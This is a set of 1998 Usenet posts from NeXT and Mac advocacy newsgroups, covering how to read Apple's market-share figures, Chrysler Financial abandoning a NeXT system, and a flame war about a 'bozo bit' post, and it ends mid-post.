Message-ID: <6ic2k4$dbd$1@ns3.vrx.net>
References: <199801202218001457904@ppp8.hol.fr> <6fmtdo$qr7$1@quasar.dimensional.com>
<351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net>
<6fvapb$6th$3@quasar.dimensional.com> <6fvmkt$i4c$4@ns3.vrx.net>
<6g6fhr$atu$3@quasar.dimensional.com> <352A6D21.3FC9A99@cisco.com>
<6ggn3g$1kt$6@quasar.dimensional.com> <6ggsgj$fit$9@anvil.BLaCKSMITH.com>
<6gh9i2$oop$8@ironhorse.plsys.co.uk> <6gis4a$6j$3@anvil.BLaCKSMITH.com>
<6gm8ou$hom$4@quasar.dimensional.com> <6gq9kh$oop$22@ironhorse.plsys.co.uk>
<6gunnn$4m9$6@quasar.dimensional.com> <6hg009$57p$10@ironhorse.plsys.co.uk>
<slrn6jo9po.q17.sal@panix3.panix.com> <3540A8F9.3D04B398@cs.purdue.edu>
<slrn6k44k2.pe0.sal@panix3.panix.com> <us567jrjo11.fsf@ai.mit.edu>
<6icanc$osj$1@news.utrecht.NL.net>
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Cc: toon@moene.indiv.nluug.nl
In <6icanc$osj$1@news.utrecht.NL.net> Toon Moene claimed:
> Unfortunately, even _that_ language could be misused - I've seen people
> writing text editors in it ...
Well, I've seen news readers written in text editors, so I guess it's not
too bad.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Date: 1 May 1998 08:56:17 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ic2nh$dbd$2@ns3.vrx.net>
References: <35458606.0@news.depaul.edu> <jayfar-2804981604340001@chestnut1-38.slip.netaxs.com>
<35469184.2000@nospam.ultranet.ca> <354751A8.257EE67@nstar.net>
<6iadp1$rm3@newsb.netnews.att.com> <3548BF7E.42E04F3C@nstar.net>
<6iara8$91g$2@ha2.rdc1.sdca.home.com> <3548F434.729A@CONVEX.COM>
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Cc: MJPECK@CONVEX.COM
In <3548F434.729A@CONVEX.COM> Michael Peck claimed:
> Didn't they also report that they expected to raise 50% of their revenue
> from their website this coming year? I was surprised the percentage was
> so low; I thought they got most of their sales from the website.
I believe most of their sales are corporate sales via PO/phone. I think
their idea is to transit more to the personal end of things as well, which is
why the web site should do more.
> Anyway, Apple reported that less than 1% of its revenue came from the
> Apple Store last quarter. I think there's a lot of room for improvement
> there.
I think they deserve more than two quarters to be sure. They also need to
have a suite of programs on the site, so let's wait until this time next year
and see?
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Date: 1 May 1998 08:59:15 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ic2t3$dbd$3@ns3.vrx.net>
References: <35458606.0@news.depaul.edu> <6i4sg4$mb9@mozo.cc.purdue.edu>
<jayfar-2804981604340001@chestnut1-38.slip.netaxs.com> <stone-ya02408000R2904981349390001@news.enetis.net>
<35478DF9.21CC@CONVEX.COM> <slrn6kfqnv.lj9.sal@panix3.panix.com>
<3548C22A.3E88DCA9@nstar.net> <slrn6khtej.2gq.sal@panix3.panix.com>
<35499A6E.DA61E13@nstar.net>
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Cc: mjpeck@nstar.net
In <35499A6E.DA61E13@nstar.net> Michael Peck claimed:
> > They are *NOT* meaningless to people who know how to use them.
>
> Which would, of course, be Salvatore Denaro!
And anyone else that's done any population sampling of any sort. And I
don't mean "population of living things". I did delta percents on just about
every physics lab I ever handed in.
> Is this what you propose? This is meaningful statistical measurement: to
> measure derivates (let's call it "acceleration" in this paragraph) on
> the basis of TWO absolute data?
I'm sorry, but this is exactly what you have been doing when you quote year
to year changes.
Maury
From: macman@home.msen.com (Mac Man)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
Date: Fri, 01 May 1998 10:05:09 -0500
Organization: Msen, Inc.
Message-ID: <macman-0105981005090001@tr33-d61.msen.net>
References: <6hqber$jpu$1@nntp1.ba.best.com> <B1669D20-66583@207.217.155.34> <joe.ragosta-2504980739300001@elk45.dol.net> <6hu2fp$sve$1@xmission.xmission.com> <joe.ragosta-2504982243370001@elk39.dol.net> <6i0dit$466$1@xmission.xmission.com> <MPG.fad7a7c96bc87a49896cb@news.unt.edu> <joe.ragosta-2704980556030001@elk45.dol.net> <6ibiba$clc@argentina.earthlink.net> <joe.ragosta-0105980840220001@wil106.dol.net> <MPG.fb38710b4ed417898971d@news.itg.ti.com>
In article <MPG.fb38710b4ed417898971d@news.itg.ti.com>, jmcn@msg.ti.com
(Jason McNorton) wrote:
>That post bozo post was the funniest thing I've read in a long time. If
>it had been about me, I'd still have laughed. Joe though, is the worst
>curmudgeon I've ever seen. He doesn't even get that he's displaying
>EXACTLY the behavior the original post said he had now. Being all bitter
>and debate logic-centric is what it was all about. Do Macs do this to
>people? Do they make you become zombies that only defend them and can't
>think of anything else? From the looks of things around here, I'm
>starting to believe that.
Actually, it's dealing with anti-Mac people such as yourself, Mr "A world
with out the Mac is one step cloer to Utopia", as well as being forced to
use Windows every now and then that makes us that way. You come on this
pro-Mac group and give us shit day after day, and expect us not to get
cranky every once in a while?
--
Mac Man
macman@home.msen.com
Microsoft's slogan should be- 'Where do you want to go today?
It doesn't matter, you're coming with us."
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: first post
Date: 1 May 1998 14:06:02 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-0105981005450001@pm61-32.magicnet.net>
References: <6htbcc$kl9$2@garnet.nbnet.nb.ca> <35433ec7.0@news.together.net> <6i0vid$ncp$1@garnet.nbnet.nb.ca> <casper-2704980603550001@wheat-d-08.monroeville.nb.net> <3544a8d5.0@news.together.net> <slrn6khu6i.22m.jason@jhste1.dyn.ml.org>
jason@jhste1.dyn.ml.org (Jason S.) wrote about dial-up networking:
> I can do it with zero mouse clicks on a new install of Mklinux or
> Linux/PowerPC!
>
> Beat that, Mac/95/NT droids!
"Zero mouse clicks" as in "typing like mad for several minutes?"
Yeah, big time saver there.
--
Chad Irby cirby@magicnet.net
/ My greatest fear:
/ That future generations will, for some
/ reason, refer to me as an "optimist."
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 1 May 1998 14:40:31 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-0105981040140001@pm61-32.magicnet.net>
References: <199801202218001457904@ppp8.hol.fr> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net> <6fvapb$6th$3@quasar.dimensional.com> <6fvmkt$i4c$4@ns3.vrx.net> <6g6fhr$atu$3@quasar.dimensional.com> <352A6D21.3FC9A99@cisco.com> <6ggn3g$1kt$6@quasar.dimensional.com> <6ggsgj$fit$9@anvil.BLaCKSMITH.com> <6gh9i2$oop$8@ironhorse.plsys.co.uk> <6gis4a$6j$3@anvil.BLaCKSMITH.com> <6gm8ou$hom$4@quasar.dimensional.com> <6gq9kh$oop$22@ironhorse.plsys.co.uk> <6gunnn$4m9$6@quasar.dimensional.com> <6hg009$57p$10@ironhorse.plsys.co.uk> <slrn6jo9po.q17.sal@panix3.panix.com> <3540A8F9.3D04B398@cs.purdue.edu> <slrn6k44k2.pe0.sal@panix3.panix.com> <us567jrjo11.fsf@ai.mit.edu> <6icanc$osj$1@news.utrecht.NL.net>
Toon Moene <toon@moene.indiv.nluug.nl> wrote:
> Stephen Peters <portnoy@ai.mit.edu> wrote:
>
> > The neat part is actually programming APL on a keyboard designed for
> > it. I don't think one of those has been made since IBM stopped
> > production on the 5110.
>
> Unfortunately, even _that_ language could be misused - I've seen people
> writing text editors in it ...
Hell, I knew a guy who wrote a text editor in EMACS. No- he didn't use
EMACS as a text editor. He wrote a text editor that ran *inside* of
EMACS...
--
Chad Irby cirby@magicnet.net
/ My greatest fear:
/ That future generations will, for some
/ reason, refer to me as an "optimist."
From: glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Date: 1 May 1998 14:43:08 GMT
Organization: Indiana University, Bloomington
Message-ID: <6icn1s$748$1@jetsam.uits.indiana.edu>
References: <35458606.0@news.depaul.edu> <6i4sg4$mb9@mozo.cc.purdue.edu> <jayfar-2804981604340001@chestnut1-38.slip.netaxs.com> <SCOTT.98Apr28150722@slave.doubleu.com>
In article <SCOTT.98Apr28150722@slave.doubleu.com>,
Scott Hess <scott@doubleu.com> wrote:
>In article <jayfar-2804981604340001@chestnut1-38.slip.netaxs.com>,
> jayfar@netaxs.com (Jayfar) writes:
> | NOT MUCH!? ARE YOU KIDDING ME? It's a 18% increase. It's quite
> | much to tell you the truth. At this rate Apple will be #1 in
> | terms of market share in a year or two!
>
> Uh, more objectively it's a .6% (point six) increase. Percentage
> increase of a percentage figure is not a generally meaningful stat.
>
>Uh, OK. I think you're pushing the semantical argument a _bit_ far.
>Say the entire market was 1 million machines (just a round number out
>of my hat). A 3.4% market share is then 34,000 machines. A 4.0%
>market share is then 40,000 machines. So, the increase in market
>share was 0.6% - the increase in sales was just under %18.
If you measuring temperature, and it goes from 3.4K to 4.0K, you could say
that the temperature increased by 0.6K or by 18%. This is confusing
because you're looking at a percentage increase of a percentage. But the
percentage is the fraction of total market share, so 3.4% is .034*N1, and
4.0% is .040*N2. The increase, in absolute terms, is
(.040*N2 - .034*N1)/N2 * 100%
Of course you want to keep absolute numbers in mind, too. It's the same
numbers game Microsoft played with NT-- NT was growing at a phenomenal
rate when it replaced the first two Unix systems because it started with
nothing at all!
--
Stay alert! Trust no one! Keep your laser handy! The Computer is
your Friend!
From: geordie@chapman.com (Geordie Korper)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Date: Fri, 01 May 1998 10:17:02 -0500
Organization: Chapman and Cutler
Message-ID: <geordie-0105981017020001@130.130.117.53>
References: <35458606.0@news.depaul.edu> <jayfar-2804981604340001@chestnut1-38.slip.netaxs.com> <35469184.2000@nospam.ultranet.ca> <354751A8.257EE67@nstar.net> <6iadp1$rm3@newsb.netnews.att.com>
Mail-Copies-To: never
r9;SSdvI;]1VVf
In article <6iadp1$rm3@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
:Overall, PC shipments did grow, so we also know that y > x.
That does not seem to be what dataquest was saying in their report. I
believe the numbers compared 3.4% and 4% were last quarter 97 and first
quarter 98. Usually 4th quarter is higher volume and indeed this was the
case here as well. Apple's percentage of market went up but unit sales
were down.
--
Geordie Korper geordie@chapman.com
*********************************************************************
* The text above should in no way be construed to represent the *
* opinions of my employer, even if specifically stated to do so. *
*********************************************************************
From: geordie@chapman.com (Geordie Korper)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: first post
Date: Fri, 01 May 1998 10:23:06 -0500
Organization: Chapman and Cutler
Message-ID: <geordie-0105981023070001@130.130.117.53>
References: <6htbcc$kl9$2@garnet.nbnet.nb.ca> <35433ec7.0@news.together.net> <6i0vid$ncp$1@garnet.nbnet.nb.ca> <casper-2704980603550001@wheat-d-08.monroeville.nb.net> <3544a8d5.0@news.together.net> <slrn6khu6i.22m.jason@jhste1.dyn.ml.org>
Mail-Copies-To: never
r9;SSdvI;]1VVf
In article <slrn6khu6i.22m.jason@jhste1.dyn.ml.org>,
jason@jhste1.dyn.ml.org (Jason S.) wrote:
:Lance Togar wrote:
:
:>> In all honesty you shortened the Mac's operation by a few steps. It
:>>only takes me about twice as many steps on a NT box to set up dial up
:>>networking as it takes me on a Mac.
:
:>Eight mouse clicks (including the start menu) on my NT box. So... you can do
:>it in 4 on your Mac? Tell us what they are.
:
:I can do it with zero mouse clicks on a new install of Mklinux or
:Linux/PowerPC!
:
:Beat that, Mac/95/NT droids!
Ok I can do it on my mac without a keyboard. Beat that unix weenie.
--
Geordie Korper geordie@chapman.com
*********************************************************************
* The text above should in no way be construed to represent the *
* opinions of my employer, even if specifically stated to do so. *
*********************************************************************
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: MSNBC : NeXT-Windows compatibility issue
Date: 1 May 1998 16:00:23 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6icrin$6ra@newsb.netnews.att.com>
Originator: gupta@tlctest
http://www.msnbc.com/news/162158.asp#BODY?st.ne.fd.mnaw
"Companies let down by computers opt to 'de-engineer' after
clashes"
Quote :
Chrysler Financial, for example, a year ago tossed out
a recently introduced an highly sophisticated NeXT Software Inc.
system bought for the company's financial team.
The problem : Chrysler's auto sales force was still using
Windows. The different divisions couldn't even send e-mail to
each other.
In early 1997, Chrysler Financial abandoned the NeXT System
and moved entirely to Windows. Also, rather than try to monitor
dealer activity with a 100% computerized system, the company
instructed clerks to obtain information from dealers the
old-fashioned way : over the phone. The information was thus
quickly available to financial staffers who wanted to know
which dealers were moving a lot of cars or which were making
bad loans.
"By adding some people in to the equation, we could get 95%
of what we needed," taking only 90 days to set up the operation,
says Chrysler Financial's Mr. Knauss. By contrast, a purely
computerized solution would have cost many millions of dollars
more and taken years to install. Apple Computer Inc., which
has acquired NeXT, declined to comment.
End quote
Comments : the purely computerized solution was in place
already, and abandoned, the problem supposedly being
Windows - NeXT compatibility. Presumably the quote means
that a new Windows-only 100% computerized solution would take
millions of dollars and years more; but NeXT takes the rap.
Regarding possible bias in the article : the president of
Aeroequip Crop is quoted as having calculatd the full cost
of upgrading his company's 50-person lab. to Windows 95 from
Windows 3.1 to be $20,000 per person.
-arun gupta
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MSNBC : NeXT-Windows compatibility issue
Date: 1 May 1998 17:27:19 GMT
Organization: @Home Network
Message-ID: <6id0ln$hfv$1@ha2.rdc1.sdca.home.com>
References: <6icrin$6ra@newsb.netnews.att.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: gupta@kcopsrm.tm.tta.moc-mirror after @
In <6icrin$6ra@newsb.netnews.att.com> gupta@kcopsrm.tm.tta.moc-mirror after @
wrote:
> http://www.msnbc.com/news/162158.asp#BODY?st.ne.fd.mnaw
>
> "Companies let down by computers opt to 'de-engineer' after
> clashes"
>
> Quote :
>
> Chrysler Financial, for example, a year ago tossed out
> a recently introduced an highly sophisticated NeXT Software Inc.
> system bought for the company's financial team.
> The problem : Chrysler's auto sales force was still using
> Windows. The different divisions couldn't even send e-mail to
> each other.
>
>
Whatever the reasons, whatever the bias - Chrysler decommissioned the MCCA
financial package built on Apple's new technology. Chrysler was a high
profile NeXT customer and touted as such. Standing on the merits alone of the
technology, what's to defend?
The World has gone "off-the-shelf" and custom engineered solutions headbutt
against the trend. My neighbor launches and builds IS solutions around
"off-the-shelf" solutions for the Navy. They just put-up a satellite last
month for command & control Worldwide. What are they using?
NT...
-r
Date: Fri, 01 May 1998 13:23:27 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
Message-ID: <joe.ragosta-0105981323270001@wil111.dol.net>
References: <6hqber$jpu$1@nntp1.ba.best.com> <B1669D20-66583@207.217.155.34> <joe.ragosta-2504980739300001@elk45.dol.net> <6hu2fp$sve$1@xmission.xmission.com> <joe.ragosta-2504982243370001@elk39.dol.net> <6i0dit$466$1@xmission.xmission.com> <MPG.fad7a7c96bc87a49896cb@news.unt.edu> <joe.ragosta-2704980556030001@elk45.dol.net> <6ibiba$clc@argentina.earthlink.net> <joe.ragosta-0105980840220001@wil106.dol.net> <MPG.fb38710b4ed417898971d@news.itg.ti.com>
In article <MPG.fb38710b4ed417898971d@news.itg.ti.com>, jmcn@msg.ti.com
(Jason McNorton) wrote:
>
> That post bozo post was the funniest thing I've read in a long time. If
> it had been about me, I'd still have laughed. Joe though, is the worst
> curmudgeon I've ever seen. He doesn't even get that he's displaying
> EXACTLY the behavior the original post said he had now. Being all bitter
> and debate logic-centric is what it was all about. Do Macs do this to
> people? Do they make you become zombies that only defend them and can't
> think of anything else? From the looks of things around here, I'm
> starting to believe that.
And _you_ are exhibiting exactly the same behavior as the other morons.
Sorry. I get very, very tired of dealing with the same lies and other FUD
every day. The only relief from the FUD is ad hominem attacks. The fact
that I prefer logic to lies and ad hominem attacks seems to bother you. I
really don't care.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Date: Fri, 01 May 1998 13:29:45 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <354A1499.52EB74F2@nstar.net>
References: <35458606.0@news.depaul.edu> <6i4sg4$mb9@mozo.cc.purdue.edu>
<jayfar-2804981604340001@chestnut1-38.slip.netaxs.com> <stone-ya02408000R2904981349390001@news.enetis.net>
<35478DF9.21CC@CONVEX.COM> <slrn6kfqnv.lj9.sal@panix3.panix.com>
<3548C22A.3E88DCA9@nstar.net> <slrn6khtej.2gq.sal@panix3.panix.com>
<35499A6E.DA61E13@nstar.net> <6ic2t3$dbd$3@ns3.vrx.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Maury Markowitz wrote:
[cut]
> > Is this what you propose? This is meaningful statistical measurement: to
> > measure derivates (let's call it "acceleration" in this paragraph) on
> > the basis of TWO absolute data?
>
> I'm sorry, but this is exactly what you have been doing when you quote year
> to year changes.
Again (and again and again), no, it's not. Year-to-year change is a
*difference*. What Sal is discussing is (as he has said himself) a
*derivative*. When, in your physics labs, did you do "delta percents" on
two data?
Take the example of your standard radioactive decay lab. You hook up
your (isotopic) cesium tablet to a Geiger counter and take *TWO*
measurements. Your physics teacher, meanwhile, has been taking
measurements from all of the cesium tablets in the entire room, and he
provides *TWO* population-wide measurements, each one at the same time
as one of your measurements from your individual tablet.
Now you take the percentage of your tablet's output as a function of the
entire population of cesium decay. Then, you make a calculation to show
the percentage change (of percentage output) from time A to time B.
From this data, tell me something meaningful about the radioactive
decay: is it linear or logarithmic? Not knowing anything about the
nature of the entire population's decay, how can you possibly ascertain
anything meaningful about the decay of your individual tablet?
MJP
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MSNBC : NeXT-Windows compatibility issue
Date: 1 May 1998 18:36:34 GMT
Organization: MiscKit Development
Message-ID: <6id4ni$pt2$1@news.xmission.com>
References: <6icrin$6ra@newsb.netnews.att.com> <6id0ln$hfv$1@ha2.rdc1.sdca.home.com>
rriley@yahoo.com (Rex Riley) wrote:
> Whatever the reasons, whatever the bias - Chrysler decommissioned the MCCA
> financial package built on Apple's new technology.
As I understood it, there are at least two aspects of the decision that make
it interesting, and which the article doesn't discuss directly.
First, I've been told that the project had a lot of NEXTSTEP based code in
it, and that the expense of porting to OPENSTEP was too much for these guys
to stomach. I'm not sure if either part is true (ie, I don't know how much
NEXTSTEP code there really was nor do I know how much of a stumbling block
conversion really was for them. It may have been what they used as their
"excuse", even if the real reason was political.
The other aspect is the political one--I've been led to believe that MS
infected some of the pointy haired guys with a new genetically engineered
virus code-named "MS-borg". Again, this is based on some amount of hearsay,
but it seems entirely reasonable if for no other reason than the observed
mass exodus of bright people from the IT department. Once you're hooked on a
decent API, being told you have to shift to windows is enough to make a large
number of programmers jump ship.
If either of the above are true, it brings up some interesting points; either
item can be interpreted as a pro or a con for Apple...though each of these
points could be argued for or against: (These are phrased in a really short
and oversimplified manner; there's a lot more that could be said on each.)
#1-pro: it isn't Apple's fault that they would have to do a little work to
get a Winblows solution; porting to OPENSTEP wouldn't really be that
expensive and there would be a huge benefit from doing it. Chrysler lost on
that one.
#1-con: Apple (nee NeXT) should have made it easier to do the
NEXTSTEP->OPENSTEP conversion. A lot of people bailed because of the
(perceived) difficulty.
#2-pro: it was a political decision that Apple couldn't control. It doesn't
reflect bad on Apple; it was NOT the technology at fault, but some
pointy-haried's misconceptions.
#2-con: Apple has to learn how to knock down these political barriers before
they get in the way. If they don't it will hurt them sorely in the
marketplace.
The above ideas are interesting to ponder...regardless of the slant of the
article, I'd say it is pretty apparent that Apple has some real hard work
ahead of them if they want to succeed in the markets they appear ready to
target with Rhapsody.
> The World has gone "off-the-shelf" and custom engineered solutions headbutt
> against the trend. My neighbor launches and builds IS solutions around
> "off-the-shelf" solutions for the Navy. They just put-up a satellite last
> month for command & control Worldwide. What are they using?
>
> NT...
If that doesn't scare you, it should. To think that something affecting
national security relies upon NT being stable sends shivers down my spine.
Worse than any horror flick I've ever watched...
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: jmcn@msg.ti.com (Jason McNorton)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
Date: Fri, 1 May 1998 13:20:16 -0500
Organization: Texas Instruments
Message-ID: <MPG.fb3ce561c3ae1c098971e@news.itg.ti.com>
References: <6hqber$jpu$1@nntp1.ba.best.com> <B1669D20-66583@207.217.155.34> <joe.ragosta-2504980739300001@elk45.dol.net> <6hu2fp$sve$1@xmission.xmission.com> <joe.ragosta-2504982243370001@elk39.dol.net> <6i0dit$466$1@xmission.xmission.com> <MPG.fad7a7c96bc87a49896cb@news.unt.edu> <joe.ragosta-2704980556030001@elk45.dol.net> <6ibiba$clc@argentina.earthlink.net> <joe.ragosta-0105980840220001@wil106.dol.net> <MPG.fb38710b4ed417898971d@news.itg.ti.com> <joe.ragosta-0105981323270001@wil111.dol.net>
In article Joe Ragosta, joe.ragosta@dol.net says...
> And _you_ are exhibiting exactly the same behavior as the other morons.
>
> Sorry. I get very, very tired of dealing with the same lies and other FUD
> every day. The only relief from the FUD is ad hominem attacks. The fact
> that I prefer logic to lies and ad hominem attacks seems to bother you. I
> really don't care.
Well, the problem is that the Mac vs. PC debate boils down to personal
preference and biased studies. What this is really about is a major
personality conflict. Mac people hate Windows people, and vice versa.
They hate the people in fact more than the platforms.. Mac people are
less technically inclined overall, and Windows people despise that.
Windows people are more tolerant of techie stuff, and Mac people can't
understand that.
However, you STILL don't have a sense of humor and you STILL try to make
this whole nonsense debate more than it really is. When someone injects
some humor in this group you usually slam them for not following debating
rules. Who cares? It's not about computers, it's about personality
conflicts.
--
A world without the Mac is a step closer to utopia.
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MSNBC : NeXT-Windows compatibility issue
Date: 1 May 1998 13:39:34 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6icjam$oth$1@ns3.vrx.net>
References: <6icrin$6ra@newsb.netnews.att.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: gupta@kcopsrm.tm.tta.moc-mirror after @
In <6icrin$6ra@newsb.netnews.att.com> gupta@kcopsrm.tm.tta.moc-mirror after @
claimed:
> The problem : Chrysler's auto sales force was still using
> Windows. The different divisions couldn't even send e-mail to
> each other.
What? Sounds like they got rid of the wrong thing, sounds to me like their
IT people should have been tossed alongwith/insteadof the softare.
Let me ask the people here, has anyone ever had a problem sending mail to a
windows box? No? Then one has to assume the net in question was using some
propietary solution. At that point I'm hard pressed to name one that can't
send mail via the 'net anyway, so this would appear to be their fault (based
on the tiny information I have from the article in question).
Maury
From: fretwiz@ix.netcom.com (fretwiz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
Date: Fri, 01 May 1998 12:43:31 -0600
Organization: Netcom
Message-ID: <fretwiz-0105981243310001@den-co53-26.ix.netcom.com>
References: <6hqber$jpu$1@nntp1.ba.best.com> <B1669D20-66583@207.217.155.34> <joe.ragosta-2504980739300001@elk45.dol.net> <6hu2fp$sve$1@xmission.xmission.com> <joe.ragosta-2504982243370001@elk39.dol.net> <6i0dit$466$1@xmission.xmission.com> <MPG.fad7a7c96bc87a49896cb@news.unt.edu> <joe.ragosta-2704980556030001@elk45.dol.net> <6ibiba$clc@argentina.earthlink.net>
In article <6ibiba$clc@argentina.earthlink.net>, gphilbin@isis.net wrote:
> Joe Joe Joe. Come on. Give it up bud. At least have the brains to realize
> you got pissed on in classic fashion by someone who's way out of your
> league. If I were you I'd keep quiet for a while. You're just making
> yourself look worse.
That's right Joe, the 'flowery prose idiot' is definitely more in the
league of people like Mr Bla. But you'd better keep quiet all the same,
the owners of c.s.m.a.,(Wintel crowd) prefer it that way.
From: fretwiz@ix.netcom.com (fretwiz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
Date: Fri, 01 May 1998 12:40:15 -0600
Organization: Netcom
Message-ID: <fretwiz-0105981240150001@den-co53-26.ix.netcom.com>
References: <6hqber$jpu$1@nntp1.ba.best.com> <B1669D20-66583@207.217.155.34> <joe.ragosta-2504980739300001@elk45.dol.net> <6hu2fp$sve$1@xmission.xmission.com> <joe.ragosta-2504982243370001@elk39.dol.net> <6i0dit$466$1@xmission.xmission.com> <MPG.fad7a7c96bc87a49896cb@news.unt.edu>
In article <MPG.fad7a7c96bc87a49896cb@news.unt.edu>, f@pearl.net (Fred) wrote:
> In article <6i0dit$466$1@xmission.xmission.com>, kris@xmission.xmission.com
> says...
> > I guess not you, since apparently all you use a computer for is to post to
> > Usenet.
> >
> > People who want to run Lotus, Novell, and IBM products need Lotus,
> > Novell, and IBM to support their platform. These people inhabit something
> > called The Real World. This place exists in The Big Room with a Blue
> > Ceiling that has a Really Bright Yellow Light. I understand that you
> > haven't been there in years. It really is a lot nicer than where you are
> > right now. These people have to do Real Work and solve Real (not
> > Imaginary) Problems, like how to run Lotus Notes, how to connect to Novell
> > networks, and other Real Things.
> >
> > Look deep inside yourself. Visualize the empty space within. That is
> > where your inner bozo lives. It can be destroyed. Open up that space to
> > the nourishing light of the Really Bright Yellow Light in The Big Room
> > with The Blue Ceiling.
> >
> > Imagine that light illuminating the fetid, rotten inner bozo that has been
> > poisoning you for years. Imagine letting a fresh, clean wind into that
> > space to dissipate its rancid vapors. Imagine being free of the inner bozo
> > that makes you squirt semantic diarrhea all over innocent people on
> > Usenet.
> >
> > You can be helped. But in the meantime, your bozo bit has been flipped, so
> > as to keep your poop off me.
>
>
> This is quite probably the greatest single usenet post I've ever read..
It's truly sad that a pile of flowery prose by an idiot can be mistaken by
ANYONE as something great. Usenet has reached a new low...
From: kc@ignem.omnigroup.com (Ken Case)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer,comp.sys.next.sysadmin
Subject: Re: Dark Forest
Followup-To: comp.sys.next.advocacy,comp.sys.next.programmer,comp.sys.next.sysadmin
Date: 1 May 1998 18:42:54 GMT
Organization: Omni Development, Inc.
Message-ID: <6id53e$imu$1@gaea.omnigroup.com>
References: <3547A3A3.4BA553E@arkona.com>
John Zollinger (john.zollinger@arkona.com) wrote:
: Does anyone know if that most excellent utility DarkForest has been
: ported to OPENSTEP? I miss it greatly now that I am stuck in NT (course
: I miss many other things as well <sigh>).
It hasn't, but I wrote a replacement for it (OmniDiskUsage) about 9
months ago which I never quite got around to releasing. If you want
it, let me know.
--
Ken Case kc@omnigroup.com
Omni Development, Inc. http://www.omnigroup.com
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MSNBC : NeXT-Windows compatibility issue
Date: Fri, 01 May 1998 13:47:58 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <354A18DE.2819BDD3@nstar.net>
References: <6icrin$6ra@newsb.netnews.att.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
> Comments : the purely computerized solution was in place
> already, and abandoned, the problem supposedly being
> Windows - NeXT compatibility. Presumably the quote means
> that a new Windows-only 100% computerized solution would take
> millions of dollars and years more; but NeXT takes the rap.
I see a lot of .sig files that include the line: "NeXTMail okay".
I take this to mean that NeXT systems use a non-MIME-compliant mail
message format, is this true? In this case, since e-mail was explicitly
mentioned in the article, how can you pin the blame for incompatibility
on Windows?
MJP
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Date: 1 May 1998 14:17:07 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6iclh3$oth$4@ns3.vrx.net>
References: <35458606.0@news.depaul.edu> <6i4sg4$mb9@mozo.cc.purdue.edu>
<jayfar-2804981604340001@chestnut1-38.slip.netaxs.com> <stone-ya02408000R2904981349390001@news.enetis.net>
<35478DF9.21CC@CONVEX.COM> <slrn6kfqnv.lj9.sal@panix3.panix.com>
<3548C22A.3E88DCA9@nstar.net> <slrn6khtej.2gq.sal@panix3.panix.com>
<35499A6E.DA61E13@nstar.net> <6ic2t3$dbd$3@ns3.vrx.net>
<354A1499.52EB74F2@nstar.net>
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Cc: mjpeck@nstar.net
In <354A1499.52EB74F2@nstar.net> Michael Peck claimed:
> Again (and again and again), no, it's not. Year-to-year change is a
> *difference*.
In percent, yes.
> What Sal is discussing is (as he has said himself) a *derivative*.
In percent. You seem to be trying to suggest that the derivative is less
